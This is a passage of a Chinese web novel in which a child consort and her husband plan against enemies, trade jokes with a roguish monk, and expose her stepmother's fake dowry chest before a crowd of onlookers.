话音顿了顿,他看向谢元棠道:“我知道你心中气愤,但此事不宜声张,你们且暂时隐忍……”
“我不!”
不等他说完,谢元棠就打断他的话,抬起头,稚嫩的小脸上满是冷傲:“想要我忍,门儿都没有!”
言关清眉头不禁皱起:“元棠,你……”
谢元棠:“夫君十八年来没忍吗?他们放过他了吗?我在谢家没忍吗?他们放过我了吗?
“舅舅,忍字头上一把刀,戳得从来不是敌人,而是自己。
言关清微怔。
他目光看向旁边一言不发的司徒砚,霎那间仿佛看见了那个也曾隐忍过,却不得天眷顾的女子。
“砚儿,你也不愿意再忍耐一下吗?言关清问。
司徒砚愣了愣,看看他再看看谢元棠,大手包住谢元棠的小手,摇摇头道:
“舅舅,忍很疼的,我不想疼,我想揍人。
他或许不懂他们聊的大道理,但他太记得被杜韦他们虐打时的疼痛。
如果那就叫做“忍
言关清听着他的话,只觉得心脏都揪痛了一瞬,他点点头,语气温柔:“好,那就不忍。
“只是……
言关清沉吟道:“这件事还需谋划……
“舅舅,我有办法!
谢元棠忽然开口:“我打算给我外祖父写封信,还要劳烦舅舅找个信得过的人送过去。
“冷老?
言关清有些惊讶,再联想到谢元棠这次去华觉寺就是去见冷蕴菀,不由问道:“你母亲同意了?
就他所知,冷家当年闹得不小,就算谢元棠能写信过去,以冷枕山的牛脾气,能看得进去?
谢元棠遂讲了谢雪瑶的事,而后道:“我和娘亲才知道外祖父写过信来,本来我回来以后就打算写信给外祖父的,没想到半路遇到了刺客,现在就更要联系他们了。
毕竟她在京中孤立无援,能找的帮手实在太少,但有了冷家的支持就不一样了。
不说娘亲可以摆脱谢兆青,她和司徒砚也不会再陷入如今这般无人可用,遇事只能当缩头乌龟的困境。
言关清听罢她的话,想了想道:“可以,你只管写,我帮你送。
如果有冷家在背后支持,那他在前朝才能发挥他文官的优势。
“谢谢舅舅!
谢元棠眼睛一亮,当下就从自己的小碎花包包里掏出炭笔来:“舅舅借我纸。
言关清:“……你这破炭笔一直带着,怕不是随时准备
记账呢吧?
谢元棠铺了两
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张纸,拿着炭笔唰唰地写。
在言关清的角度,就觉得小丫头趴在那儿胡乱画了几下,就见谢元棠收好纸笔,叠好递给言关清:“我写好啦!”
言关清犹豫再三:“你确定不多写几句?”
你就那鳖爬的字胡咧咧几句话,确定你外祖父看见不会生气?
谢元棠小手一挥:“不用,这就够了,会帮你的人,你就是画个王八他也会帮,不帮你的人,你就是写篇万字书,对他来说也是擦屎的草纸!”
言关清失笑:“这话倒是不假,就是太粗鲁。”
他没有看信件内容,当着谢元棠的面封进信封里:“放心,今晚我就让人送出城去。”
“谢谢舅舅!舅舅办事就是效率!”谢元棠讨好道。
言关清挑了挑眉:“就这?”
他冷哼一声,斜了眼巴巴望着他的谢元棠,手指轻轻指了指茶杯。
“哎,好嘞!”
谢元棠立刻会意,“嗖”地一个弹跳蹦下来,哒哒地小跑两步,殷勤地给言关清斟上茶,狗腿地端给他:“舅舅口渴了吧,舅舅喝茶~”
一边说话,一边小短腿踹了司徒砚一脚。
司徒砚迷茫地歪头:“我不渴。”
谢元棠:“……”谁管你渴不渴!
她大眼睛瞪着司徒砚,咕噜噜地转着,朝他使眼色。
从言关清的视角,就看见那个毛茸茸的小脑袋左摆摆,右摇摇,滑稽又可爱。
总算,在谢元棠的“明示”下,司徒砚终于懂了。
于是,狗腿加一!
谢元棠递茶,司徒砚递茶壶:“舅舅,你喝这个,这个水多!”
谢元棠捏肩,司徒砚锁喉:“舅舅,我帮你捏脖子……舅舅你怎么翻白眼了?”
谢元棠捶腿,司徒砚拿鸡毛掸捶腿:“舅舅,用这个……诶?舅舅你怎么跑啦?”
言关清躲在门后,喘着粗气破口大骂:“两个小王八蛋,再捣乱给我滚!”
谢元棠无辜地噘着小嘴:“舅舅,我可是在认真讨好您的,我没捣蛋,我不是小王八。”
至于谁是,她不说,反正她不是!
司徒砚委屈,低头四五十度美人忧伤:“我知道我很没用,舅舅骂了我,就不可以骂娘子了哦~”
第70章 我佛说不杀人
言关清被气得失了往日的理智清冷,指着门外就开始撵人:“滚滚滚,赶紧回你们自己家去!”
本来他还想留俩人吃饭的,但现在……
哼!实在碍眼!
他怕留下他们,他晚饭会被噎死。
谢元棠目的达到,也不纠缠,笑嘻嘻地拽着司徒砚跟他招手:“舅舅歇好,舅舅再见~”
司徒砚有样学样:“舅舅鞋子好,舅舅再见~”
言关清额头三条黑线,眼见俩小王八蛋……俩亲亲孩子往外跑,他又没忍心开了口:“砚儿。”
司徒砚回头。
言关清犹豫两秒道:“过几日,随舅舅一同去见你外祖父。”
谢元棠眼睛一亮,司徒砚的外祖父?那不是言家已经退隐的老爷子言尚?
司徒砚眉头一皱,外祖父?
哦!冷枕山!
司徒砚眨了眨眼,疑惑道:“可是娘子的外祖父住得远,过几天去,那不得走好几个月吗?”
言关清:“……”
堂堂太傅,差点没被这不孝的大外甥给气背过去。
他颤着手,中气十足地怒吼:“谁说谢元棠的外祖父了?你自己没外祖父吗?”
司徒砚被他吼得往谢元棠身后缩了下,小声嘟囔:“我怎么知道什么算有。”
就好像舅舅,父皇……这些称呼,他以前也叫过,可他真的拥有过吗?
言关清没听见他这身嘟囔,谢元棠却听见了。
她拉住司徒砚的手指,笑着对言关清道:“舅舅不要生气,夫君一时没反应过来而已,我们会去的,棠棠也很想见外祖父呢!”
司徒砚不会说话没关系,她会。
她可以去见言尚,去帮司徒砚将言家这股势力牢牢地抓在手中!
言关清看着两人手拉着手往外走的背影,司徒砚比谢元棠高许多,步子也大,但他会慢下来。
而谢元棠蹦蹦跳跳,时不时扯扯他的袖子,指着周围,像是在告诉他什么。
两个不被老天眷顾的孩子,却奇异的被命运绑定在一起,勇敢地往前走。
言关清眼眶忽然有点酸,他心想,还是提前跟老头子打声招呼,别到时候大外甥好不容易回家一趟,他板着一张脸吓到俩孩子。
还
有……让老头子提高心理承受能力,否则也有可能被俩小王八蛋气晕过去!
应天街。
回去路上,谢元棠和司徒砚没坐马车,而是让言枫将马车赶回去,两人则顺着应天街慢慢走。
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司徒砚疑惑:“娘子,我们为什么走路回去啊?”
他极少出门,更别说在人群中自如地逛街了,尤其路过的行人目光总会流连在他身上,让他有些不自在。
谢元棠拉着他的手,一边东张西望一边说:“咱们刚从舅舅家里出来,那些人不敢动手的,要是咱们回去得太着急,他们肯定就知道咱们要对付他们了,但看见我们在这里悠闲逛街,就会以为我们放弃了,不追究了,这一招叫麻痹敌人。”
她答应教他,就没再敷衍他。
司徒砚挠挠头,诚实道:“有点难,我听不懂。”
谢元棠好笑地拽拽他的手指:“没关系,以后慢慢就懂了。”
“嗯。”司徒砚用力点头。
他记住了,娘子新教他的一招叫骂逼敌人!
他虽然不懂,但他会骂!
两人一路走着逛着,谢元棠还买了好多糖盒,正吃着,就听见路边传来一道妖冶的笑声:“这是哪家的大美人,就这样出来,不怕遭贼惦记吗?”
谢元棠眼睛一亮,立刻抬头:“大美人?在哪儿?让我康康,让我康康!”
对方轻笑着调侃:“哟,还有个小美人。”
谢元棠眨眨眼,这才看清楚说话的男人。
一身灰白的僧服松松垮垮得穿在身上,高挑的身形偏不好好站着,而是歪歪扭扭地靠在门框上,修长的双腿往前勾着。
谢元棠目光在他那光洁的头顶和妖媚的长相上停留了好几秒,好奇地开口:“你是和尚?”
和尚摸摸自己的光头:“不明显吗?”
谢元棠摇头:“不明显,我还
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以为你是故意穿成这样出来站街的,你懂的,制服的诱惑。”
和尚:“……”
他有些无语地翻了个大白眼:“小小年纪你懂得是不是太多了?”
然后又看向一声不吭的司徒砚:“作为她夫君,你也不说她两句?”
司徒砚却道:“可是我也觉得你不像个正经和尚啊,像个……”
“
妖僧!”谢元棠补充。
司徒砚点头:“嗯嗯妖僧……咦?”
他顿了顿古怪地看了眼和尚:“怎么感觉这个称呼有点耳熟呢?”
和尚勾了勾唇道:“路过既是有缘两位不如进来坐坐?”
谢元棠仰头看见店铺招牌——佛音阁分店。
她眯了眯眼笑得乖巧:“好呀。”
走进佛音阁让谢元棠意外的是里面竟然很是清净除了他们仨就剩下一个店小二。
谢元棠问:“你们店里人这么少?”
不是说佛音阁是京城首富吗?
和尚给两人上了茶在对面落座微笑道:“佛音阁不靠那些营生。”
谢元棠眼珠微转意思是不靠正道营生吗?这个佛音阁……
她掩下思量端起茶杯抿了一小口问道:“对了你知道他是我夫君说明你认识我们那你呢?怎么称呼我总不能叫你妖僧吧?”
“也行啊。”
和尚饶有兴趣地打量着谢元棠勾唇道:“能被小皇妃叫做妖僧
谢元棠眨眨眼小脸上露出合适的好奇:“无尘大师你就是佛音阁的大老板吗?你们佛音阁承诺有印章者可以应承对方任何一件事是真的吗?”
“自然。”
无尘笑得坦然自信:“贫僧听过一些小皇妃的传闻知道您手中也有一块扳指印章怎么小皇妃是想让佛音阁对象承诺吗?”
“是的呀~”
谢元棠甜甜地开口:“我想让你们帮我杀个人呢~”
无尘:“……”
他放下茶杯双手合十:“不知小皇妃想让佛音阁杀什么人?”
谢元棠微笑:“宫里的人妃子或者皇子。”
无尘:“……阿弥陀佛我佛说不杀人。”
第71章 让她们母女上门求和?
无尘拒绝得十分虔诚,仿佛前一秒那个笑眯眯问谢元棠杀什么人的不是他一样。
谢元棠翻了个白眼:“那好吧,我换一个,我要当首富。”
无尘眉尾微动,确定自己没听错:“如果贫僧没理解错的话,您是要佛音阁的所有产业?”
谢元棠伸拇指:“理解到位。”
司徒砚:“到位加一。”
无尘看着对面丝毫不觉得自己过分的两人,皮笑肉不笑道:“二位,佛说嘴巴不用可以闭上,就是不可以口出狂言呢~”
“佛这么说过吗?”
谢元棠眨眨眼,歪着脑袋笑盈盈看他:“我还以为佛会说,嘴巴一张黄金万两,嘴巴一闭杀人点地呢~”
无尘微笑:“佛没说过哦亲亲~”
谢元棠甜妹笑:“真的吗?我不信~”
无尘:“真的呢,若是在任何地方听见这等诳语造谣,还请到当地佛音阁分店举报呢,举报有奖的哦~”
谢元棠:“扳指印章的承诺都不认,还敢承诺举报有奖?我看你是老忽悠出了门,专骗我单纯小女孩儿。”
无尘:“……”
一向嘴遍天下无敌手的妖僧终遇强敌,并迅速惨败。
他无奈地看向旁边的司徒砚:“你不管?”
司徒砚摇头,老实诚挚:“不敢管。”
无尘:“……”
他呲了呲牙,站起身来回走了两圈,自言自语道:“我堂堂佛音阁的声誉岂能败于今日?要不答应她……不行,杀人太费力气,给钱我就穷了……”
谢元棠听着他一点都不低调的嘟囔,两手托着小脸道:“大师,你走位太妖娆,晃我眼了~”
无尘一个急刹回头,指着谢元棠道:“你再提一个要求,这次不管什么我都会答应。”
谢元棠打了个哈欠,小手摆摆:“那倒也不用,印章扳指我还给你,夫君我们走吧。”
“哦。”
司徒砚起身拉住她往外走,无尘脸色微变,一咬牙堵在门口:“不行!我佛音阁绝不会弃约,你今天必须提一个要求。”
谢元棠皱着小脸:“真不用。”
无尘:“必须提!”
“那你再给我十个印章扳指吧。”
“好,我再
……啊?”
无尘顿时一僵,低头看着谢元棠:“你套我话?”
谢元棠翻白眼:“算了算了算了~知道你佛又要说不行了,不为难你,拜拜再见~”
无尘:“……”
他堵住门,妖冶的脸上满是黑线:“你再说一个。”
谢元棠眨眨眼:“我想不出来了,夫君你说呢?”
司徒砚歪头想想,忽然灵光一闪道:“娘子,你不是说咱们家缺下人吗?”
这次谢元棠还没开口,无尘就急忙道:“我佛说这个也不行!”
谢元棠试探着眨眼:“或许这个可以有?”
无尘眼睛都瞪大了:“我佛说坚决不行!”
谢元棠叹了口气道:“我提的要求你都做不到,还非让我提要求,那这样吧……你不杀生不漏财,那帮我调查一件事可还行?”
无尘松了口气,只是调查一件事,这可太简单了。
他正想点头,就听见谢元棠道:“调查虞国公府,我要看见他们近二十年来的罪证。”
无尘:“……”
好家伙,直接开口就是“罪证”,而且还是虞国公府的!
他沉默不语。
谢元棠挑眉:“怎么,还是不行?”
无尘:“……行。”
男人,不管任何时候都不能承认自己不行!
哪怕他是个和尚。
谢元棠点点头,小手拍拍他胳膊:“好好干,办好了去皇子府找我,办砸了就自行了断,别把我供出来。”
无尘:“……”
他今天无语的次数实在太多了点。
从佛音阁出来,司徒砚才问道:“娘子,为什么要让他去查虞家啊?舅舅不是说他会查吗?”
谢元棠解释道:“舅舅为官正直,而且言家到底是文官,俗话说秀才遇到兵有理说不清,这种事还是交给专业人士做比较好,反正他查出来最好,查不出来也没事。”
“万一他出卖我们呢?”
“那就死不承认呗,我刚才留了个心眼子,扳指印章没给他,他没证据。”
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“娘子真聪明!”
佛音阁门口,无尘摇头叹息,半晌自嘲一笑道:“倒是我佛巴巴的上赶着做了一桩赔本买卖。”
早知道他就不在店门口站街……哦不是不在这里晒夕阳了。
“啧明明听说那家伙清醒了怎么还这副蠢样子?简直没眼看!”
低声嘟囔了句无尘转头回了店嘴里还念叨着:“虞国公府啊……晚上过去的时候顺点什么好呢?”
毕竟我佛说过佛不走空。
皇子府。
谢元棠刚进门就看见红蕖红着眼睛跑过来蹲下抓着她的小胳膊看了又看:“言枫说你们遇到杀手了?皇子妃真的没受伤吗?磕着没有奴婢准备了金创药您快让奴婢瞧瞧……”
谢元棠心里微暖虽然府中人少但却比之前温馨多了。
她小手帮帮红蕖擦眼泪乖乖道:“红蕖姐姐别担心我一点事没有。”
红蕖还是不信硬是拉着谢元棠进屋检查上药去了。
被留在原地的司徒砚转头看看言枫疑惑地开口:“她怎么不问我有没有受伤?”
言枫:“……也没问我。”
这边谢元棠一身轻松另一边丞相府却是乱成了一锅粥。
“什么?她还去了言家?”
谢兆青气得脸色铁青:“这个孽子!这是公然不将我放在眼里了啊!”
“老爷谢元棠去一趟华觉寺所有人都知道了雪瑶的事情现在赵将军那边直接将人堵在门外不让进去百姓之间谣传得都不成样子了这可怎么办啊?”
本该被禁足在后院罚抄经书的魏莲这会儿柔柔弱弱地站在谢兆青身旁一脸焦急地问道。
谢兆青冷哼:“她这么做不就是在怨我将冷蕴菀撵了出去么?她以为这样就会让我回心转意?做梦!”
“只要她一天还是五皇子妃她就需要我的支持绝不敢跟我彻底闹掰。”
谢兆青沉吟片刻吩咐魏莲:“现在必须将百姓的舆论引到谢元棠身上才能平息这一场风波。”
“你明日带着雨沫一起去皇子府一趟
魏莲脸色微变。
好你个老登!
你给你妹平风波却让我们母女上门求和?
第72章 就他格格不入呗!
但魏莲只敢在心里骂,面上一点都不敢表露出来。
她费了老大的牛劲,才让谢兆青忘记回门那天的事,悄悄将她和女儿放了出来,要是这会儿惹怒他,岂非前功尽弃?
想起她那晚费的力气使的花招,魏莲现在都觉得腰疼腿疼嘴巴疼。
悄悄摸了摸自己的嘴巴,魏莲换上一副忧心忡忡的表情:“可是……妾身和雨沫都还在禁足,如今若是抛头露面,陛下若是知道了,不是更麻烦?”
“陛下整天忙的事多了,又怎会一直盯着我的后院看?”
谢兆青坐在椅子里,享受着魏莲亲手喂到嘴边的茶,润了润口才接着道:“何况你们是去道歉的,更加情有可原了。”
魏莲咬了咬唇,犹豫道:“可是……万一她不原谅我们,妾身倒是不怕丢脸,只是雨沫还小,若当众丢了面子,就太可怜了。”
谢兆青冷哼一声:“妇人之仁!”
“一时的面子算什么?她被禁足满三个月你就高兴了?这京中瞬息万变,三个月后谁还记得谢府有个谢雨沫?”
魏莲听到这里,目光微变,终于下定决心道:“老爷说的是,那明日妾身就带着雨沫去五皇子府。”
谢兆青手指敲敲桌面:“她不是要嫁妆吗?你去找母亲,将嫁妆给她,我就不信当着百姓的面,她好意思收!”
“老爷英名!”
魏莲及时拍了下马屁,顺便柔弱地一倒,坐在谢兆青怀里。
但她却忘了自己早飞年轻时的轻盈,谢兆青也早就亏虚得厉害,这一屁股坐下去,只听谢兆青倒吸口凉气,差点没一把将她扔出去!
“老爷~”
魏莲搂着他脖子,媚眼翻飞,用勾人的嗓音道:“今夜,妾身好好伺候您~”
只是她的嗓子被谢元棠毒哑过,虽然如今好了许多,但捏着嗓子说话时还是跟带了电音一样。
谢兆青下意识想起她吃的那只蚯蚓,再低头看看她花了妆的眼线,有了皱纹的嘴角……
顿时一点兴致都没有,抬手推开她道:“我晚上还有事,就不去了。”
魏莲:“……”
——
对于谢兆青的算计,谢元棠一点也不知道。
不过知道了她估计也不在意。
第二天,谢元棠赖床到快晌午才起床,刚起来就听见院子里吵吵闹闹的,好像司徒砚在那里发脾气。
谢元棠好奇了,能让她的傻夫君发脾气的,那对方该是有多讨人厌啊!
她问红蕖,红蕖脸色古怪道:“是……谢府的人。”
“嗯?”
谢元棠打了个一半的哈欠硬生生止住:“我畜生爹来了?”
红蕖:“……不是,是魏莲和谢雨沫。”
“她们带着您嫁妆来了,一大早就站在门口,哭着说要见您,跟您道歉,好多百姓围观呢。”
谢元棠眨眨眼:“她们这是皮痒,上门找抽来了?”
红蕖被她这话逗得忍俊不禁,憋着笑道:“殿下起得早,知道她们在门外,怕吵着您睡觉,就没让她们进来。”
谢元棠听到这里才点点头:“果然不愧是我教出来的!”
她一边说一边往外走,看见院子里司徒砚气哼哼地在那里数落言墨:“不让打人,也不让堵她们嘴,你怎么什么都不让!”
言墨一噎,心说殿下您以前也没这么狂啊!
他耐着性子劝道:“殿下,她们就是来找事的,现在外面那么多吃瓜群众,咱们越是对她们动手,就越是不占上风,百姓不会看谁占理,只会看谁更惨,惨的就有理。”
司徒砚:“那就让她们这样吵?”
“这……”
言墨对这种事也没好办法,为难地不知道该怎么办。
谢元棠笑嘻嘻走过来:“当然不会就让她们吵下去啦,多晦气呀!”
听见她的声音,司徒砚眼睛一亮,大步走过去:“娘子,你醒啦!”
谢元棠从小碎花包里拿出冷蕴菀给她的清单,兴致勃勃地拉着司徒砚的袖子道:“走,夫君,咱们干架去!”
言墨:“……”不是吧,又干架?
他正想劝,就看见他家主子桃花眼都在冒星星,早撸起了袖子道:“干架,我喜欢干架!”
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两人风似的往外走,言墨看着跟在后面的红蕖,问道:“你不劝?”
红蕖眨眨眼:“为什么要劝?我也想干架!”
言墨:“……”所以这个家里,就他格格不入呗!
皇子府府门外。
魏莲哭得口干舌燥。
她也是没想到谢元棠竟然会一上午都不给她开门让她硬生生在这里站着又哭又道歉的。
身旁谢雨沫舔舔舌头小脸被晒得通红:“姨娘我渴~”
在外面她只能叫魏莲姨娘。
魏莲心疼地看着女儿脸上没有消去的疤痕抬手摸摸她的小脸柔弱却高声道:“再坚持一会儿等你姐姐给咱们开了门至少咱们可以讨一口水喝。”
这话一出百姓当中顿时有一些人看不惯了。
“小皇妃和五皇子也太过分了吧?就算不原谅
“就是连口水都不给喝这还是一家人呢也太狠心了。”
也有人持反对意见:
“可是又不是小皇妃让她们来的她们自己要来如果实在渴可以回去啊为什么非要站在这里。”
“明显是道德绑架呗这一套我要饭的时候老用老招数了!”
就在众人议论纷纷时“嘎吱”一声厚重的府门缓缓打开。
谢元棠和司徒砚从里面走出来。
和魏莲谢雨沫的狼狈相比谢元棠和司徒砚简直像是神仙下凡大的风流倜傥小的灵动可爱。
人群中一些三观跟着五官跑的百姓这会儿忍不住集体花痴:
“哇~虽然但是五皇子好帅啊!这么伟大的一张脸就该天天站门口给我们看嘛!”
“小皇妃好可爱你们看她头上的毛球球啊啊啊我手好痒好想rua!”
藏在人堆里被魏莲提前请来的水军听到这些话顿时尖声道:“我说你们别太过了啊长得好又怎么样?就能这么丧良心了?小小年纪就这么歹毒以后还得了!”
谢元棠听见这话挑了挑眉瞥来一眼笑眯眯道:“夫君他夸我们长得好欸!”
司徒砚看了那人一眼点点头道:“应该的他长得也太丑了!”
水军:“……”
第73章 好一朵盛放的柔弱小白花!
“姐姐……”
谢雨沫可怜兮兮地望着谢元棠,小身子似乎撑不住似的踉跄了一下,小声道:“姐姐,可不可以给我喝口水,雨沫好渴,求求姐姐了……”
这一副弱不禁风地可怜模样直接拉满群众的心软值。
“小皇妃,就先给孩子一口水喝吧!”
“是啊,不管有什么深仇大恨,到底还是一家人啊!”
听着周遭传来的议论声,谢元棠看着谢雨沫的表演,不由感慨:
好一朵盛放的柔弱小白花!
可惜了,她这人最爱干的事就是辣手摧花!
谢元棠眼睫一眨,微蹙眉心,语气三分心寒四分伤心,还有三分哽咽:“妹妹,你求我?”
“我们这样的关系,你求我?”
谢雨沫傻眼了,一时没接住戏,愣愣道:“我……”
谢元棠痛心地往后退两步,捂着心口道:“我恨不得把心都掏出来给谢家,结果你竟与我生疏至此,一个求字,是在折我的寿吗?”
司徒砚也皱起了眉,冷声道:“娘子又没说不给你喝水,你求个球!”
谢雨沫:“……”
周围原本已经被谢雨沫的表演感动的百姓们,在听到这话以后又清醒了过来。
“对啊,小皇妃又没说不给,她故意求什么?搞得好像小皇妃故意折磨她似的。”
“而且从来没有人拦着她们啊,她渴了不会让下人去对面茶楼买茶吗?”
“就是故意站在门口装可怜呗!啧,亏我刚才还心疼她,我呸!”
谢雨沫脸颊微抽,指甲紧紧掐进了肉里才忍住没爆发。
她仰起小脸,露出讨好的笑容,上前两步抓住谢元棠的袖子道:“那雨沫就谢谢姐姐了,雨沫不会说话,姐姐别生雨沫的气好不好?”
谢元棠微微一笑,抬起小手,“啪啪”地拍拍谢雨沫的脸颊道:“姐姐怎么会生你的气呢?”
谢雨沫脸都被她拍肿了,却无奈不能躲开,而且她实在渴得要命:“那姐姐,水呢?”
“哎——”
谢元棠叹了口气,摇摇头道:“姐姐也想给你水喝,可只怕喝了水,妹妹你就没命了呢。”
魏莲在一旁忍无可忍:“皇子妃不想给水就直说,何苦找这些荒
诞的借口。”
谢元棠也不解释摇了摇头小手一挥。
言枫顿时拎着一大木桶的茉莉凉茶出来言墨和红蕖还拿来了许多的杯子。
谢元棠:“只是如果我没记错妹妹和魏莲你们两个应是在禁足期吧?此事曲公公可是禀报了父皇的如今你二人贸然出府已经是抗旨如果在我这里又吵闹又喝茶的不知道父皇会不会觉得你们抗旨不尊故意藐视皇恩呢。”
魏莲、谢雨沫:“……”
谢元棠说罢微笑道:“茶水在这里妹妹想喝就去喝吧。”
谢雨沫看看那些闻着就清甜的凉茶
魏莲也连忙拉住谢雨沫不停摇头:“就是我们不喝了。”
谢元棠挑了挑眉不做声旁边红蕖端着杯子一杯杯凉茶送到群众手中:“大家站这么久也渴了吧这是我们皇子妃特意调配的茉莉茶哦大家润润喉吧。”
吃瓜还有茶喝?
这谁能拒绝?
百姓一个个接过茶水笑盈盈地夸道:“小皇妃真是善良这茶可真好喝!”
“哎呀真解渴啊!”
谢雨沫舔舔干裂的嘴巴恨恨地瞪了眼谢元棠。
魏莲也忍不住了她现在就想赶紧道完歉回家喝个两大碗水去!
“皇子妃我们今日来是来给您道歉的那日是我们的不是但那都是小事咱们都是一家人请您大人大量原谅我们吧。”
“姐姐你就原谅我吧!”
谢元棠歪了歪头没接这话茬而是看向她们身后的两箱子嫁妆:“这是给我的?”
魏莲嘴角泛起一丝冷笑。
果然这小贱人还是最在乎钱财!
她面上露出合时宜的笑容道:“这是丞相给您的嫁妆呢老爷一直念着您给你的可都是上好的礼。”
“是吗?”
谢元棠转头吩咐言枫:“去打开看看。”
魏莲笑容一僵。
怎么还当众打开了?
然而不等她阻止言枫已经大步上前将两个红木箱子全都打开。
顿时两
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箱金银珠宝暴露在众人面前。
“哇丞相对小皇妃还真好这嫁妆可真丰
盛!”
“太闪了刺瞎我贫穷的狗眼了!”
魏莲心中松了口气笑着道:“皇子妃还是让人赶紧将嫁妆抬进府去吧……”
“这是假的!”
她话还没说完
只见言枫用剑柄在箱子里戳了戳翻出上面浅浅一层珠宝指着下面露出的夹层道:“皇子妃这里头只有上面最浅一层是金银下面全是空的隔了木板轻易看不出来。”
魏莲骤然僵住一旁的谢雨沫也愣住了。
谢元棠大惊捂着嘴巴露出痛心失望的表情:“怎么可能?爹爹怎么会如此对我?”
“就是啊丞相怎么回事?竟然用这种手段。”
“嗐就是舍不得那点钱呗还想赚个面子才用了这种招数真是恶心!”
谢元棠后退两步差点摔倒还是司徒砚扶住了她:“娘子小心。”
大大的眼睛一眨一眨晶莹的小珍珠瞬间掉下来。
谢元棠摇摇头道:“不会爹爹绝不会这样对我难道……”
她惊讶地指着魏莲和谢雨沫:“难道是你们贪了我的嫁妆故意用这种方法来挑拨我和爹爹的父女之情?”
“怎么可能?”
“不是我们!”
谢雨沫和魏莲异口同声否认可惜她们的否认在铁证面前显得十分无力。
面对众人的指责也嫌恶谢雨沫再也忍耐不住跺着脚哭着跑走了。
“雨沫……”
魏莲叫了两声不放心地赶紧让下人跟上她。
而后转过头来对谢元棠道:“皇子妃这嫁妆……肯定是弄错了我保证回去会调查清楚。”
“你最好查清楚否则我只能认为是你侵吞了我娘留给我的东西。”
谢元棠冷哼一声从怀里拿出一张清单来:“为了避免这样的误会再发生你还是将这份礼单带回去吧这是我娘亲手所写上面都是她当年带进谢府的嫁妆我希望明天可以看见这些东西一样不少的出现在皇子府。”
“少一样我就只能去找父皇评理了毕竟当初是父皇口谕让爹爹补我嫁妆的。”
第74章 我亲自去会会她!
魏莲灰溜溜地回了谢家。
谢兆青今日不在府中,得知此事的谢老夫人气得一巴掌扇到魏莲的脸上:“废物!”
“让你办这点小事你都办不好,还辱没了兆青的名声,你说你还能干点什么?”
魏莲在皇子府门口站了一晌,这会儿本来就又饿又渴,被她这一巴掌扇得直接倒在了地上,脸都肿了一大半。
她心里恨得咬牙,却又不敢跟老夫人呛声,只能忍着道:“老夫人,您不知道那谢元棠多有心计,她总是变着法儿的折磨人。”
“还故意给了我一张清单,说若是我不按照上面的给她嫁妆,就告到皇上那里去,我实在是没办法啊!”
谢老夫人接过清单看了眼,冷哼一声骂道:“小贱蹄子,胃口还真大,想要我谢家的东西,我这把老骨头还没死呢!”
魏莲低着头,眼睫遮住了眼中的恨意,再抬头时委屈道:“老夫人,妾身实在不是那谢元棠的对手,这嫁妆的事……”
“不用你,我亲自去会会她!”
谢老夫人将清单拍在桌子上,讽笑道:“她不是要嫁妆吗?不是喜欢看清单记账本吗?老身就给她看账本!”
——
皇子府。
谢元棠看着突然找上门的虞龙:“你要在我家里给我当保镖?”
虞龙点头,铁汉子的脸上一本正经道:“我虞龙说话算话,既然应承了要当你们七日保镖,就不会言而无信,中间除去你们出门的两日,七日时间还未到,我自然该来。”
谢元棠挑了挑眉,上上下下打量着他。
一旁的司徒砚和言枫也眼神古怪,看得虞龙都起了鸡皮疙瘩:“你们这般看着我做什么?”
谢元棠摇摇头,小手一摆道:“既然你非要留下,那就待着吧,不过闲着也是闲着,不如找点事做?”
听她这一副“搞事情”的语气,虞龙瞬间警惕道:“你想找什么事?”
谢元棠笑眯眯朝言枫招手:“听说虞小公爷身手了得,我家这个侍卫身手也还不错,不如请小公爷赐教几招?”
虞龙扫了眼言枫,他倒是无所谓:“可以。”
说罢,看向言枫道:“你用剑还是空手?我都行。”
“用剑。”
言枫说完
提剑就冲了过去
虞龙本来没当回事但当言枫一剑刺过来时他脸色就变了当下调出十分精力来应对。
谢元棠站在旁边看得津津有味司徒砚在旁边给她剥着葡萄剥完一颗往她嘴里塞一颗。
半个时辰后两人各退三步停手。
言枫拱手道:“多谢小公爷赐教。”
虞龙沉声道:“不敢你身手不在我之下。”
谢元棠笑嘻嘻地招呼虞龙坐下红蕖摆上茶水点心谢元棠一边吃一边八卦地问:“虞龙听说你妹妹虞卿卿要成亲了呀?对方是谁?四皇兄还是六皇弟?”
虞龙喝茶的手一顿抬头看了眼谢元棠:“你从哪儿听说的?”
她不是才回城吗?怎么消息这么灵通?
谢元棠笑嘻嘻道:“你也知道我家门口人多一人卖我一个瓜也够我吃了。”
虞龙:“……”你当你是王婆啊?还卖瓜!
事关虞国公府虞龙再蠢也知道不能说毕竟这种事在没有定下来之前变数太多。
他沉声道:“无可奉告。”
“哦~”谢元棠了然点头“那就是说虞卿卿真的快要成亲了!”
虞龙:“……”中计了!
谢元棠继续跟他聊天:“哎你呢?虞贵妃是你亲姑姑应当会替你安排吧?”
虞龙:“不知道。”
谢元棠:“难道不会?不应该啊虞贵妃看着不像这么小气的人呀。”
她眨巴着眼睛笑着道:“没关系啦咱们关系这么好明天我进宫的时候会帮你问问父皇的。”
虞龙顿时一噎要是让谢元棠拿他的婚事去问皇上指不定皇上以为他虞家故意想攀附皇室呢!
他连忙摆手道:“不用不用贵妃娘娘会替我安排的。”
“哦~听你语气虞贵妃已经替你安排了呀~”
“……”
就这样虞龙坐了半个时辰不知道被谢元棠套出来多少
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话。
以至于到了最后他都撑不住了放下茶杯瞪着谢元棠:“怎么吃东西还堵不上你的嘴?”
谢元棠正吃着司徒砚投喂的糕点闻言咂巴着小嘴道:“不就聊天嘛你怎么还生气了嘞?
虞龙一噎,心说你那是聊天吗?
再聊下去他就别想回虞家了!
他黑着脸站起身道:“看来你们确实不需要我这个保镖了,我先走了。
谢元棠挥挥手:“慢走不送啊。
虞龙皱眉,她这也太干脆了,难道……她已经发现了什么?
等虞龙离开,谢元棠才收了脸上的神色。
言枫在一旁低声道:“殿下,皇子妃,虞小公爷的招式和昨日的人不同。
听见这话,司徒砚皱眉道:“可是他刚才的姿势感觉很奇怪啊。
“呵~连夫君都看出来的问题,你这个跟他打的人看不出来?
谢元棠挑眉看向言枫:“你这句话之后还有个‘但是’没说吧?
言枫挠挠头道:“被你们发现了,我还想留个悬念来着。
谢元棠:“有话快说!
司徒砚:“有屁不可以放哦,会熏着我和娘子的!
言枫:“……
他轻咳一声道:“虽然招式不同,但我能感觉出来虞小公爷是刻意改变招式的,中间我故意下了狠手,他就没反应过来漏了馅儿。
谢元棠勾了勾唇角,转头看司徒砚:“提问,夫君你说他为什么要这么做?
司徒砚桃花眼一睁一闭,摸着下巴思索片刻,试探着答:“虞龙故意用了不一样的招式,因为他不能用一样的,不然我们就看出来他和刺客是一伙的了。
“夫君真棒,那他为什么今日要来我们家里,还答应跟言枫过招,还故意用了别的招式呢?
